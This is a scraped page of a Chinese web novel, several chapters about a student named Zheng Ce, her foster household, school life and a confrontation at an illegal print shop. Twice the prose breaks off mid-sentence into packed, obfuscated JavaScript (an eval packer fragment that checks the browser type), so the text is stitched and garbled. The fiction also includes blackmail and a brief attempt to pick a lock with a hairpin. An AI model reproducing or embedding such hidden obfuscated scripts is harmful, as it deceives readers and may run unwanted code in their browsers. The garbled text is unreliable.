这话明里暗里都在讽刺宋熙,宋熙勉强扯了扯嘴角,朝郑策走去,看来是有话要说。 郑策能闻到很明显一股烟锅巴的焦味。 是长期浸泡在二手烟的环境里熏陶出来的腐朽气息,混杂低劣又辛辣酒精味。 郑策看着她没说话。 “小策啊。” 宋熙干笑了笑,“这件事,姨妈对不住你,但家里确实这个样子,你看……” “我不回去。” 郑策立马明白过来她的意思。 说出这话的时候,好像看见厨房里的骆远方微微点了点头。 宋熙接着为难道:“我们呢也没本事,平时也就养家糊口……” 郑策听到这儿没忍住皱了皱眉,打断她,“也用不着你们给钱。” “哎我也不是这个意思……” “今晚吃厚皮菜啊。” 骆淇又在厨房里喊,“这玩意儿搁以前是喂猪用的,现在人一个比一个爱吃。” “唉,那你们吃饭吧,我就先走了。” 人也见了,又听出逐客令的意思,宋熙见状不愿多留。 “行,那你走吧。” 骆淇一点不带客气的,但还是委婉了两句。 “回去劝着点韩忠夏的烟酒,他这样迟早要出问题的,你们娘俩还靠着他不是嘛。” 宋熙脸色越发难看地笑着,总算才出去了。 郑策看着她离开,心里有些不是滋味。 如果说之前对宋熙还抱有一丝希望,此时已经被她亲手断得干干净净。 可笑的是,爸妈去世后,支撑她走到现在的,曾经是对这个未知姨妈的想象。 宋熙这一趟,算是把她心里仅存的一丝回心转意的机会,给连根拔起。 郑策心里一下子空落落的。 自从爸妈去世,她退学,回到陌生又熟悉的老家。 一次次被抛弃,被隔离出别人早已形成好的集体,她都快麻木了。 郑策深吸一口气。 饭端上桌,江蔚云就激动地喊:“奶奶,今晚上看犬夜叉好嘛?” 她筷子上夹着的猪肉掉在地上,江蔚云眼疾手快三秒内捡起来,一口塞进嘴里。 “必然啊!” 骆淇看着她笑个不停,在她鼻头上捏了捏。 “哎哟,你这怂样,跟你小姨妈不像一家养出来的。” “三秒内不粘灰。” 江蔚云鼓着颊侧两嘟肉嘿嘿傻笑,“不干不净,吃了没病。” “我觉得你是我亲孙女。” 骆淇一把揽过她,“来喝点骨头汤,补钙的。” “少喝点。”骆远方看了她一眼,“汤里全是嘌呤。” 提醒宋熙的事,还有帮忙接江蔚云,郑策没来得及跟骆远方道谢。 此时见他面色不善,忽然想起来,他们貌似还在冷战,嗓子眼儿的谢谢给“嘌呤”生憋了回去。 那边骆淇正要蹿火,江蔚云将碗里的汤立马给她分了一半,笑眯眯道:“那咱俩分。” “乖。” 骆淇邪火被可爱压下去一半,转头问闷头吃饭的郑策: “今早上走得晚,迟到了没?” 郑策看了骆远方一眼,“我没迟到。” 骆远方说:“我迟到一分钟。” “十分钟内就不算迟到。” 骆淇不屑道,“腾了个零食柜出来,昨天你们买的零食全在里面,方便找,想吃的时候自己去拿啊。” 她一边介绍,一边拉开柜门。 里头空空如也。 骆淇楞住了。 “骆乘光?解释一下。” 骆乘光的目光此时才艰难地从电视屏幕上挪过来。 “哦,吃完了,麻烦补充一下,谢谢。” 骆远方刚夹起来的一块肉,给这位脸皮堪比城墙拐弯的人吓回盘里。 他忍着笑坚强地又夹了回去。 几个人才忽然默契地笑起来,一扫刚才的阴霾。 “上辈子猪啊你,吃这么快。”骆淇笑骂。 饭后郑策本来想帮忙洗碗,却发现骆远方负责洗碗似乎是个固定项目。 因为他觉得别人洗不干净,他不放心。 郑策落得轻松,陪着骆淇在沙发上捣鼓智能手机,顺带教她怎么线上预订酒店之类的。 虽然骆淇一直嚷嚷着要出去,但她在这座小镇里有太多牵绊,郑策总觉得这事儿难。 没过一会儿,江蔚云就拿着所谓家庭作业找上门了。 江蔚云不愧和韩俊生是一个小学的,学校将美育教育贯彻到底。 她开学第一天的家庭作业就是:在碗里装上不同深浅的水,敲打出一首曲子,录下来。 …… 郑策怀疑这些家庭作业是专门给家长布置的难题…… “所以,敲碗沿的时候,是里面的水在震动。” 郑策一边给江蔚云示范,一边解释,“水越少,震动越快,音调越高。” 她把筷子拿在指尖灵活地转了两圈,试好音阶,敲出一曲兰花草。 再抬头,骆家祖孙两人都凑到了跟前,瞪着她。 “这是那个狗尾巴草?洒水车唱的那个。”骆淇问。 “叫狼尾巴吧?”骆乘光纠正她。 “再敲敲,好听的啊!” 骆淇不在乎正确答案,催她,“以前学过音乐吗?” “差不多懂一点。” 郑策继续在围观群众的眼神里,有些僵硬地带着江蔚云敲音阶。 郑策的确有两把刷子,敲出来的音又准又脆。 骆远方虽然一直好奇,但只抱着手机,假装冷酷地在旁边整理桌面图标。 这种时候面子要紧。 白底青瓷的碗在郑策面前一字排开。 她坐得很直,身子微微前倾,游刃有余又乐在其中的模样像个艺术家。 水面震动反射碎光,像一个还没破土就断裂的梦想。 光晕从头上打下来,白色冷光遮盖住背景立杂乱破败的房间,她脸上也显露出难得安宁。 面前似乎不是几个碗,是一整套的架子鼓。 架子鼓? 骆远方联想到她的头像,微微挑了挑眉。 难怪棍棒什么的,在这人手里都跟成活了一样。 熟练工啊。 如果这个熟练工家里没有变故的话,应该和电视里那些城市青年一样吧。骆远方出神地看着她想。 白天上课,晚上一改书生气质的白色卫衣,衣着大胆,和三.五好友一起做自己喜欢的事。 组个乐队,找个酒吧驻唱,潇洒拮据又平淡快乐的一生。 如果让他来拍摄城市青年的记录片。 摇滚,民谣,昏昏沉沉,梦想和现实混杂的酒吧。 狂热的信徒,红色烟雾和灯光闪烁的梦境…… 他微微勾起唇角摇摇头,一面调整图标位置,一面想。 还,真挺好听的。 叫什么名字来着,兰花草。 暑气蒸腾时,洒水车经过时的音乐,洒下一地潮湿和阴凉。 江蔚云是个音痴,节奏感约等于无,录完视频,天已经黑尽。 郑策一脸疲惫走进浴室,关上门,打开喷头,水流顺着脸颊滑落,她缓缓吐出一口气。 她喜欢这种时候。 也似乎只有在这样不被人打搅,又不用去考虑多余的事的小房间内,她才能感受到难得的平静。 不用动脑子的麻木清洗工作,没人评判,没人惋惜,更不会有人看见。 天知道,她多怕骆家三人在听见她敲歌后,又说她可惜了这一身才华。 幸好没人多嘴。 郑策缓缓闭上眼,感受皮肤上缓慢的流动。 浴室是一个人可以安心独享的封闭空间。 或者不需要考虑任何价值,去衡量代价的时间。 只重复着最原始的本能活动。 考虑的事多了,竟然洗个澡都能洗出满足感。 矫情。 她自嘲地勾起唇角,往头上抹洗发露。 骆家住的是老房子,浴室比姨妈家的好不了多少。 横七竖八的水柱张牙舞爪地伸展。 整个隔间地面都湿透了,郑策的头发依然保持毛躁,停留在两三点雨山前的状态。 但家里总体的氛围也好,人也好,比之前在车库里让人舒心太多。 除了…… 她刚出来就遇见在客厅接水的骆远方。 家里的厕所没有做干湿分离,门一开,潮湿暖气带着沐浴露的香味儿朝骆远方裹了上来。 奶香味儿的,他挑了挑眉。 虽然下午情急之下需要给郑策一些面子,但两人毕竟差点干一架,骆远方现在不太想没话找话。 骆远方转身要走,却被身后郑策叫住。 “骆远方。” 骆远方犹豫了两秒,停下,转身看她。 郑策揉了揉头上的干发帽,正要说话,“这个……” 他又先一开口:“吹风机在洗漱台镜子后面。” “哦。” 郑策楞了下,看他一眼,坚持从书包里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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骆乘光面色凝重盯着题目,手里草稿纸写满了几张,冬日的傍晚,额角竟也渗出些薄汗。 骆远方就盯着骆乘光…… 保持学渣最后的作风,什么也不想,一味地发呆。 “诶。”两人同时开口。 骆远方让他先说,骆乘光绷着脸咬牙道:“这道题做不出来,我今晚睡不着,你也别想睡。” 骆远方抱着膝盖蜷缩在小椅子上,打了个哈欠,“你们学霸这么变态的嘛。那你诶什么?” 骆乘光犹豫了下,“我诶,要不去问问郑策,她不是物理挺好的么?” 骆远方盯着他没说话。 他又破罐子破摔:“不去就死磕。那你诶啥?” “……我诶你眼尾长了颗痣……之前,没发现……” “……去找郑策。” 骆乘光果断起身。 傻逼。 于是,深更半夜,两人高马大的男子,在女生卧室门前逡巡犹豫,张牙舞爪,无声撕扯。 “你的题,你去问!”骆乘光压着声音说。 “我不问也睡得着,要问你问!”骆远方扒拉开骆乘光,在他耳边用气声道。 就在僵持不下间,“咔哒”一声,门轻轻打开。 郑策揉着眼睛,半梦半醒,本想上个厕所,却被眼前纠缠在一起的两个人影给吓得睡意全无。 哈欠只打了个“哈”字出来,给硬生生截断。 骆远方一只胳膊被骆乘光以奇异的姿态扭曲着,一只胳膊掐着骆乘光人中,以一个高难度动作向她咧咧嘴。 “晚上好,唔西迪西。” 还好门外开着灯,灯火通明。 不然这扭打在一起,非人哉的场景……还在深更半夜被撞见,是会留下心理阴影的! “你们……” 郑策定在原地,将门在身后轻轻关上,小心试探,“在干嘛?” “骆远方想问你生日是多久,我们会给每个人过生日。” 骆乘光立马站得笔直,迅速回道。 “嗯?” 虽然骆远方没有这个意思,但郑策犹豫这两下,还是让他很不爽。 “问你生日,又不是问你死期。” 骆乘光胳膊肘撞了下他。 大哥,求人就拿出起码的态度来吧。 他这一动,郑策垂眸看见了骆乘光手里熟悉的蓝红配色练习册。 她接着打完那个个哈欠,挥手道: “我上个厕所,回来再给你们讲题。” 郑策皱眉眯了眯眼,走远几步又懒懒嘟囔:“半夜把灯开这么刺眼干嘛……” 说完,脚步顿了下,她似乎想起什么,又道:“开着吧,光线强点,对眼睛好。” 郑策在身后关上门,忽然睁大眼睛,脑子迅速转动。 这现场拍摄写真都不用打光的亮度;小偷还没上门,搁小区门口就能被晃瞎的程度。 还有一到晚上不离手的强光手电筒。 骆远方眼睛绝对有问题。 “谢谢姐!”骆乘光低声在门外立正敬礼。 “这辈分乱的。” 骆远方鄙夷地看了眼骆乘光,“没出息。” “你最有出息,问都不敢问。” 骆乘光对他挤眉弄眼,“不过,你松一口气干嘛?” 骆远方莫名其妙,“我没啊。” “放心,你弟弟这么帅,看我面子上都得给你个欠货讲明白。” 骆乘光一把抱住骆远方脖子。 骆远方被压得脸红脖子粗,低吼:“我没松!” 20. 霸霸,走好 郑策从厕所出来的时候,两个人还保持着去别人家做客的拘谨,在沙发边坐立难安。 “你做出来了么?”骆远方不死心,问。 “没做。” 郑策气定神闲坐下来前,看了两人一眼,招呼道: “别客气,坐吧。” 骆乘光嘟囔着坐下,“没做还这么自信。” 郑策拿过练习本,直接道:“我看题比较慢,你们先做别的事吧。” 一派反客为主的气质。 刚拿到的题的时候,郑策就花了快一小时才把三道题给看了一遍。读懂后倒是不难,于是郑策懒得再去演算。 只是睡了一觉,题目的条件都忘了精光,又得再重复一遍读题的过程,让她有些恼火。 姓骆的两位也无事可干,就和郑策一起瞪着题目,一位脑子里自主演算。 一位在发呆。 过了半小时,骆远方打了个哈欠问: “你都不动笔么?不会做就睡吧。” 主要原因是他困了。 一闭上眼睛就得昏睡过去那种。 “算出来了。” 郑策最后在空白草稿纸上随意画了几笔,点上一个潦草的句号。 不得不说,有成竹在胸的帅气。 她把本子还了回去,反正看也看不进。 于是就在骆远方目瞪口呆的表情下,以及骆乘光演算得快要摩擦出火花的记录下,把整道题的解析方法给口述了一遍。 完完整整,一字不落。 骆乘光看着最后得出的答案意犹未尽,惊讶之余,无言地看向自己哥哥,用安抚的眼神表示: 这就是世界的参差啊。 但远方同学根本无需安抚,把书一合,五官快要皱在一起了。 他眯着眼睛就往卧室走,低声哀嚎: “要了命了,熬夜听物理课,我不干了!” 但学习这种事,不干也得干。 骆远方对自己的水平有清楚认知,难题不碰,但课上,基础题也会很有分寸地留一只耳朵认真听讲。 因为沾了乘光同学求知欲爆棚的光,练习册被写满了。 骆远方的屁股安稳地留在了物理课上。 一字未动的安城北哀怨地看着他。 骆远方屁股坐得这么安稳,算是坐实了他在小安子那儿的叛徒地位了。 安城北欲哭无泪: “你他妈不仅做了,还全对?” 骆远方非常文雅地扶了扶眼镜,欠揍道: “怎么了?” 郑策看骆远方这幅样子表示不能理解。 人弟弟都没近视,这运动逼竟然带了个眼镜。 装什么文化人呢。 她在一旁提醒:“要点脸。” 谁做的题,她也是心知肚明的。 安城北眼睛在两人之间咕噜一转,跑出教室的一瞬间,不服气道:“我靠,有奸情!” 因为这句话,安城北将将和骆远方伸过来的脚擦肩而过时,就被螳螂捕蝉黄雀在后的郑策给抽了一下。 用教材卷成卷筒抽的。 咚的一声,气吞山河。 而同时,郑策的练习本是空着的,也不配坐享教室。 虽然郑策因为自己心算了一遍,又给骆乘光讲解了一遍,对这三道题已经倒背如流。 可她还是选择抱着练习本,跟在安城北后面,滚到教室外面去呼吸呼吸新鲜空气。 狗日的,谁天天在教室吃水煮蛋。 跟有个瘟鸡在教室发疯,到处窜稀一个腥臭味。 “郑策。” 吴雨却没打算放过她。 “物理竞赛第一,现场做也能做得出来吧?” 他笑着侧身,把一根粉笔递出去,示意她去讲台上演算。 题不简单。 这是铁定了要她丢人。 骆远方挑了挑眉,抱着手臂靠在椅背上,打算看郑策打脸吴雨的热闹。 别说。 人还真可以。 闭着眼睛都行。 郑策看了吴雨一眼,脚尖一转,果断朝讲台走去。 她接过粉笔时,吴雨又补充了句:“写出来就可以回去坐着。” 郑策看着他不屑地冷笑了下。 然后在题目都没重看一遍的情况下,把运算过程非常潦草地在黑板上展示了出来。 在郑策展示书法的整个过程,吴雨就在旁边捣鼓教室的电脑。 屏幕出了些问题,老是有蓝色方块遮挡,弄了半天也没修好。 他刚站起来,郑策就答完了。 …… 答案过程皆对。 就是这个字…… 有些令人心梗。 这题吴雨是照着竞赛最后一题的难度挑的,本意也是上课给郑策一些下马威。 但此时自己却骑虎难下,脸上有些抽抽道:“你,回去吧。就是这个字啊……” 郑策瞟了眼花成奶牛的电脑屏幕,想都没想就蹲下去。就着吴雨的工具,熟练地把显卡取出来,清理了下上面的灰尘,又塞回去。再捣鼓一遍里面的配件。 站起来,电脑重启,恢复正常。 骆远方目睹丝滑的全程,放下笔,响亮了拍了拍手。 带起蛙声掌声一片。 “哇哦——”教室里传来几声起哄。 “牛逼!” “大佬还是大佬!” 吴雨的脸色此时铁青。 “不用了。” 郑策看着吴雨,回应他刚才的话。 她两步退到教室外面,“这些题我都会。成绩好也不是一切,没做就得去外面站着。这是规矩。” “嚣张啊,学霸你到底是不是学霸?物理不及格,竞赛题他妈的满分。” 安城北挪着螃蟹步走到郑策旁边,激动得红温了都。 “老吴的脸都绿了……诶你,操这么高冷……” “什么?”郑策猛地点了点头,转头看他。 “睡着了?” 安城北给她竖起大拇指,“昨晚偷了几头牛啊。” 她回想了下昨晚半夜两个疯子非要她讲题的情景。 这骆家上辈子是夜猫子转世吧。 “两头吧。”她胡乱说。 “郑策?” 有个声音在身后叫她。看见安城北立马站军姿的逼样,就知道是柯言来了。 “你跟我来趟办公室。”柯言路过安城北的时候在他头上揉了两下,对郑策道。 开学两天,柯言已经收到了多位任课教师对这位新来转学生的小报告。 无非说她上课根本不听,手里还一直不停地转笔。别说转得还怪好的,一直没掉,如果换根长点的,说不定还能玩出点花样…… 说远了……但就是上课不听。 柯言有些头疼。 以郑策的成绩,来九中复读,对于校领导来说无异于把下届状元给预定了。 但这状元不愿意去清北班,偏来她的班。 打也打不得,骂也骂不得,依照准状元这状态,最后垫个底也不是没可能。 那柯言微薄的工资绩效就要展翅高飞,离她而去了。 “你不能这样害我。”柯言语重心长地说。 “来了个学霸,一进我的班就垫底,你是不是八班派来的卧底?” “我看不进去书。” 郑策叹了口气,决定实话实说。 不然这件事解决不了,她也实在也不知道给谁说。 柯言顿了下,有些担心地看过来。 “怎么会这样?” “不知道,有病吧。”郑策无所谓地耸耸肩。 “……” 柯言沉默,“试着逼自己一把呢?” “试过了,没用。” 在郑策眼里,用持续不断的奋斗对抗不可能完成的目标,与自杀无异。 她松了松攥紧的手,掌心好像被掐烂了,有些刺痛。 柯言眉头拧成了麻花。 真是什么难伺候的的祖宗都让她一次性碰上了。 教室那边。 “报——学霸被何仙姑带进办公室已经半小时。” 安城北一下课就冲回座位。 “这几天太张狂了,可能小命不保。” “再探,再报。”林歌严阵以待。 过了会儿,安城北又卷起一阵风冲回来,拉长了声音道: “报——学霸被带到校医院去了。” 他抽了一张纸巾,放到郑策桌上,沉重地说,“霸霸,走好。” “别乱认爹。” 骆远方看也没看,伸手把那张纸给扫到地上,才抬头看了安城北一眼。 “晦气。” 正猜忌着,当事人回来,几人立马都噤了声。 见郑策无意提起,也没人问校医院的事。 十几岁少年们的心思敏感,偶尔能肆无忌惮随意调侃,却都能在合适的时候礼让着对方筑起的高高防线。 郑策看出来这群人好奇得屁股痒,但不问,她也懒得说。 就是,这种奇怪的氛围让她都快怀疑,自己是不是得了什么隐疾…… 柯言作为一个不相信抑郁症的传统人士,能直接带她去校医院也是她万万没想到的。 惊讶之余,多的还是感激吧。 最后一节课老雷拖堂,铃响还没人出发的瞬间,便吸干了所有抢饭同学的精气神。 教室里饿殍遍野。 Teacher雷才幽幽说了句:“classisover”。 整栋教学楼在万马奔腾的喧闹后,留下只剩了一口气的九班瘫倒在各自座位上。 无心再动。 “校医院怎么回事?” 骆远方合上笔帽,此时才状若不经意地问了句。 “校医院出事了?”郑策装傻。 骆远方看着她没说话。 有些突然,郑策看着他楞了片刻才想起来。 “哦,说我有点阅读障碍。” “阅读障碍?” 郑策怀疑安城北的耳朵一直在注意他们后面的动向,零点一秒后,他立马转过身问。 “可以不用做作业吗?给我来一份三个月的。” “不可以。” 郑策重复柯言的话,“柯言说,她不信这玩意儿,憋死你也得把每天的作业写完。” “那你……”骆远方问。 “问题不大。”郑策起身往教室外走。 反正她不打算做做作业。 中午,骆远方又多买了一份午饭,安城北觉得他可能要二次发育了,一言难尽地看着他打包。 但这回骆远方却一直没吃。 直到上课,他桌上的饭没动。 同样的,他的伪同桌也没回来。 数学老师在讲台上让把九中小练习拿出来评讲。 小练习是一张A4纸,由教研室老师轮流出题,算是九中的秘籍。 每科每周,甚至每天都有一张。 勤奋的园丁们啊,照这浇灌频率,一些吸收不畅的花朵就快被肥沤死了。 刚开学两天,骆远方抽屉里就跟废纸批发供货商一样,满满当当的小练习。 他叹了口气,无暇再去管这位翘课的同桌,埋头在里面寻寻觅觅找宝藏。 寻寻觅觅,寻寻觅觅,凄凄惨惨戚戚……评讲练习时候,最难将息。 一本五三错题,怎地它…… “找不到小练习的站起来!”老师在讲台上喊。 老师心急。 找不到,唉,正伤心。 得到了校医院免死金牌的郑策,灵机一动就把下午的课给完全翘了。 摸出上回经林歌介绍的兼职合同,找到了那家文印店。 文印店铺面很小,在窄巷深处,走进去要绕开地上不明呕吐物和排泄物,让郑策有些反胃。 店铺旁边挂着一条竖着的牌匾,白底黑字写着:小康路文和巷街道口文印出版社。 有点宇宙尽头的味道。 郑策拿起手机打算拍张照,就被店里的人给吼了声。 “干什么的?这里不准拍照不知道?” 店里光线暗,正午日光太强,看进去就是漆黑一条隧道。 里面走出来一瘦高中年男人,留着短短的胡茬,一股文艺书生气质。 他看清是昨天来过的女孩儿后,问:“想好了?” 郑策捏了捏手里的合同。 她昨晚回去研究了,没有保险,工资一天一结,合同上连公司地点都只写到富乐路。 她只想签一年,但试用期却有五个月。休假条件没有写,却单独立了个条款工伤概不负责。 妥妥的卖身契。 唯一的好处是工资不错…… 有种刀口上卖命舔血的错觉。 “未成年签了也不具有法律效力吧?” 郑策和他隔着一条小巷子问。 风卷起落叶在两人之间飘过,气氛一触即发。 当然,这样完全不公平的条款本身也没效力。 男人皱眉啧了声,将手里的烟丢在地上,也不去捻灭。青灰色烟雾飘散在风里。 “你同学都签了,我也没把她卖了,你担心个毛啊?” 他看了眼郑策,向屋里偏偏头。 “合同,还有保密协议,签完进来,工资一天一结。” 郑策犹豫了下,最后还是跟了进去。 林歌平时干的工作是替这个非法出版社校对错别字。 高中生精力旺盛,又细心。是在合适不过的牛马。 但是郑策连这个最基本的也做不到。 当她第十遍阅读第一行时,没控制住力道,右手的黑笔直接被她掰断成两截…… 这他妈是豆腐和屁做的嘛…… “有没有不用阅读的活?” 郑策实在受不了,将连着笔芯的两折叠签字笔丢进垃圾桶。 “打印书,但钱要少一半。”男人看了她一眼。 这个店并没有公开招聘,郑策能找过来全是林歌的推荐。 加上各种诡异的气质,她明显感觉到这是非法印刷出版。 可能就是因为非法,艺高人胆大,给人开的工资也很高。 就算扣掉一半,也比平常累死累活去饭店端盘子来得多。 郑策决定忍了。 店里有七八个打印机,仿佛日夜不停地工作,运转产生的热量将店内狭小的空间铺得满满当当。 油墨味道混杂机器运转声响,嗅觉和听觉层面全被堵住。 空间昏暗……郑策一没留神,纸张在虎口上划破一刀口子,她疼地松了手。 还未来得及装订的书页,唰地一声,散落一地。 “这点事都干不好?” 男人从办公室里走出来,嫌弃地看了一地狼藉,转身回去的时候补了句。 “今天印完再走,不然没钱。” 机器持续不断的嗡鸣让郑策脑子有些混沌。 她迟钝地蹲下去收捡纸张。 此时,一直在门边坐着的女员工端着咖啡杯急切地往屋子里面走。 路过她恰好踉跄一下,满杯的棕褐色液体泼洒在还未来得及归位的书页上。 郑策也被浇了个兜头。 “哎呀笨手笨脚的,还出来打什么工啊!” 女人丝毫没有愧疚之心,骂骂咧咧又往办公室钻,立马换上另一幅嘴脸,抱歉地说之前的印刷似乎出了点问题。 郑策闻不到味道,只能感受滚烫的液体流经她额前的时候已经冰冷。 停了半刻。 她一脚踹开面前的纸堆。 “老子不干了!” 办公室的门被猛地推开。 “合同履行期限六个月。”男人半靠在转椅上看看她。 还真他妈签了个卖身合同。 郑策冷笑一声,抬眼看回去,“签的又不是我的名。” 男人明显沉下脸,翻到合同最后一页,也没看懂是个什么鬼画符。 没想到一个高中生还能耍这样的心眼。 他脸色顿时变得难看。 郑策慢条斯理地走过去,把合同从他手上拿过来,沉默地看了眼署名。 确实是她的名字。 但幸好没人能看懂。 鲁迅干的事关我周树人什么关系? 她一把将合同撕了。 “滚。”男人背过去,有些认栽地朝她挥手。 “我今天日结的工资,还有头上咖啡烫伤医药费。”郑策没动。 女人一听竟然扯上了自己,骂骂咧咧朝她这边走来。 “他妈是不是给你脸了?” 又是来挨打的架势。 郑策皱着眉觑她一眼,不知道在狐假虎威些什么。 哐啷一声,郑策一脚把旁边的转椅给踹开,椅子撞上塞满纸张的书柜,飘落两张A4纸。 女人停下脚步。 “保密协议,保的是非法印刷的秘吧?” 郑策看着男人说,“打印机后面那一堆的书可都还没来得及搬走,那玩意儿可不干净。” 她看了眼敢怒不敢言的女人,“自己把剩下的咖啡倒头上,然后赔我三千。不然手里的录像我现在就发出去,非法印刷,雇佣童工,虐待未成年,你们自己算。” “我一个高中生,就是想找份兼职,钱拿到了,不会给自己惹麻烦。” 郑策面无表情看着转椅背后的男人。 沉默半晌,转椅上的人憋屈地骂了声操。 “倒,活该玩意儿。” 男人说,“倒完给她钱滚。删视频。要是让我发现你背后有动作,我可顾不上什么未成年了。” “钱。” 郑策盯着女人张牙舞爪地发了会儿癫,向她伸手。 走之前郑策没帮林歌把合同拿回来。 人已经干了这么久都相安无事 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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宋乐洋帮她拍了拍头顶黏成一团的头发,又打字道: 我都看见了,干得好。 他从怀里掏出一个透明塑料袋包裹着的木色油纸。 递给郑策。 “红薯?” 宋乐洋点了点头,咬了口空气,然后瞪大眼睛露出满意的表情,又点点头。 “好吃。” 郑策笑着帮他解释,接过去说,“谢谢舅舅。” 宋乐洋楞了瞬,在她头上又揉了揉。 “你怎么在这儿?”郑策咬下一大口红薯,热乎乎的,里头甜瓤软糯,还有糖水流心。 果然好吃! 宋乐洋裤子上有大片油渍,她趁宋乐洋打字间隙,试探地问: “你去偷石油了?” 宋乐洋盯着她,右手快速删除,又飞快打了几个字: 你是不是有病? “我错了。”郑策笑呵呵地说。 宋乐洋也拿着一个烤红薯,咬下一大口,满足地眯了眯眼睛。 这副傻里傻气的样子和他随时能抡水管砸过去的打扮有些格格不入。 他打字: 在附近修冰箱。 原来宋乐洋并不是郑策理解的,身后跟着一群小弟呼来喝去的“社会人士”。 他在公交公司上班,空闲的时候会做电工,四处帮着修修电器之类的。 “看来我们家的人物理都挺好。”郑策笑着说。 知道舅舅没有居无定所,她也稍微放了点心。 就是不能劫富济贫了。 宋乐洋尴尬地笑了笑。又问她发生了什么事,钱不够吗,为什么要出来,又怎么找到一个黑作坊的。 郑策正愁找不到人倾诉,熟悉的人不想让她们担心,不熟的人又说不出口。 宋乐洋这样不远不近的,半生不熟,刚刚好。 听完,宋乐洋有些尴尬地在屏幕上戳: 你这烦恼我都听不懂了。我阅读从来都有障碍,看不进去书的。 他想了想,又问: 那你现在怎么办? “不知道。” 郑策摇了摇头,没心没肺道,“这红薯还流心嘿!” 宋乐洋笑了,在她头顶又宠溺地揉了揉。 郑策忽然感觉宋乐洋对她的感情,或许和她对江蔚云的照顾和在意是一样的。 因为这个动作。 郑策顶着宋乐洋的手抬头望他,“舅,你说我是不是不应该回来。” 宋乐洋想了下,认真地敲下一串字: 虽然你说大城市吃人,但你不是真的想回来,你只是害怕一个人在那儿。 他又补充道: 回来了就回来了,没什么可后悔的。但是不用急着去赚钱,长大也不是一件有意思的事。 再懂事的小孩也是小孩,过了十八岁也不一定就成年了。 所以,慢慢准备,准备好了,成年人的世界随时欢迎你。 “舅舅——”郑策朝他身边蹭了蹭,“我忽然舍不得你了。” 手机退回桌面,屏保是个大大的滚字。 他熄屏又点亮,锁屏屏保上三个大字: 正经人。 “好巧我也是。” 郑策笑嘻嘻地又退了回去。 这个屏保可能是方便平时使用的,毕竟…… 郑策看了他一眼。 他还挺需要这样的备注解释一下的。 宋乐洋今天发工资,直接带郑策去理发店来个高级享受。 索性要花钱,郑策秉持便宜要占够的原则,将一头长发剪到了下巴的位置。 没有弧度,一刀切,三七分,一边头发挽到耳后,又飒又酷。 宋乐洋看着她说,十几块钱剪出这么个鬼发型,还只有她这样脸能够承受得住。 宋乐洋把郑策送回楼下的时候拉住她,塞给她几张一百元。 又叮嘱了几句说,成年人的世界也许没有想象那么自由,但起码郁闷了能自己买个烤红薯安慰自己。 郑策推脱说,最烦这种欠来欠去的人情不想收,然后被宋乐洋拿着墙边的柴棍给撵了上去。 她心里是早就接纳了这个舅舅的。 相处下来,也似乎知道了妈妈为什么会一直和他有联系。 他本性不坏,但因为哑巴,宋乐洋错失了太多的机会。 今天本以为会干到放学,没想到去整顿职场去了,没用半天时间,收拾了一间黑作坊。 郑策瞪着面前的门板才反应过来。 她没有钥匙。 而现在离放学时间还早。 就在郑策准备坐在楼梯上等人回来时,她忽然又转头,看向无辜的门。 眼里闪过一丝光。 这个门是原装款,老旧得无以伦比。 她依稀记得拿个铁片之类的东西,插.进门缝里,捅几下就能打开。 犹豫间,郑策已经拿过一字夹,咬着下唇开始疯狂试探。 “你在干嘛?”一个声音在背后响起。 低沉的嗓音在楼道这个天然的混响里,有穿透耳膜的力量。 且这声音还是一如既往的冰凉。 郑策背后紧张得出了汗。 她转过头去。 同时楞住的还有骆远方。 郑策还弓着背,有些尴尬,几乎是翻着白眼儿的角度去瞅的骆远方。 却意外地在这张冷漠的脸上看见一抹淡淡的粉红,蔓延到耳根。眼神迷离。 难得有些局促。 脚下步子也不是很稳。 这是喝酒了? 翘课把自己灌成这幅样子? 郑策嗅了嗅才想起来自己闻不到东西。 “我,记得这个门不太安全,就……试试。”她说。 “修过了。” “啊。” 骆远方不语,拿出钥匙,打开门。 又从钥匙扣上取下一把递给她,“刚去配的。怎么剪头发了?” “就……剪了,还可以吧?”郑策抿着嘴,把一边的头发往耳后扒了扒,有些羞怯地看他。 “挺好看。”骆远方一脸正义进门。 昨天白天莫名其妙吵了那一场架后,两人还没说开。 平时不觉得,现在单独在一个空间里,有些尴尬。 郑策作业什么的都没拿回来,坐在沙发上无所事事,就听见骆远方在身后乒哩乓啷的声音。 持续了很久。 这是在干嘛? 躲她么? 弄着这么响,又在表达什么不满么? 她实在受不了,手撑着沙发,扭头朝背后喊了声: “骆远方。” 身后翻箱倒柜的声音停了。 似乎在等她下一句话。 她莫名有些心虚,清了清嗓子,说:“我们聊聊。” 到底为什么,怎么搞得这么尴尬啊! 我都教你题了,不能揭过去吗! 骆远方从房间里出来,手上拿着半瓶酒精还有棉签,绷带。 往她面前一放。 “聊什么?” 21. 躁郁症 “聊……”郑策看了眼桌上齐全的跌打损伤一件套,抬头看他,“你又受伤了?” 骆远方盯着她没说话。 脚下不自然地蹒跚了下,又很快站稳。 “……好吧。” 郑策和他对视了一分钟败下阵来,拿过酒精瓶和棉签就往虎口上的切口涂。 “谢谢。” 她一抬头,又撞上骆远方拧在一起的眉毛。 郑策的手顿了下。 “不是给我的?” “你耳洞也发炎了。”骆远方指了指自己的耳郭。 “手怎么回事?” “啊……”郑策不好意思地又将头发往耳后掖了掖。 “不小心划的。” “想好好聊,就说实话。” 骆远方坐在她旁边,沙发软垫明显朝他的方向沉了沉。 他长舒一口气,没骨头没精神地靠在沙发上,拿出手机一戳一戳。 “我们小地方的人,没大城市那么多弯弯绕绕。” “行吧,我就是想说,有什么事别憋着,像昨天一样,说开了就没事了。” 郑策也不去看他,专心处理虎口上的伤。伤口不深,只翻出肉红色一条线,并没有流血,所以她原本并不在意。 只是现在在谈事情,对方玩手机不给正眼,她当然也只能冷脸沾棉签。 气势不能输。 “还有上回的事情……” 郑策犹豫了下。 “我道歉。” “上回对不起。”骆远方和她几乎同时说出口。 郑策愣着看了他一会儿,笑着道:“那行吧,能帮我擦一下耳朵后面么?我看不见。” 骆远方脑子里昏昏沉沉的。 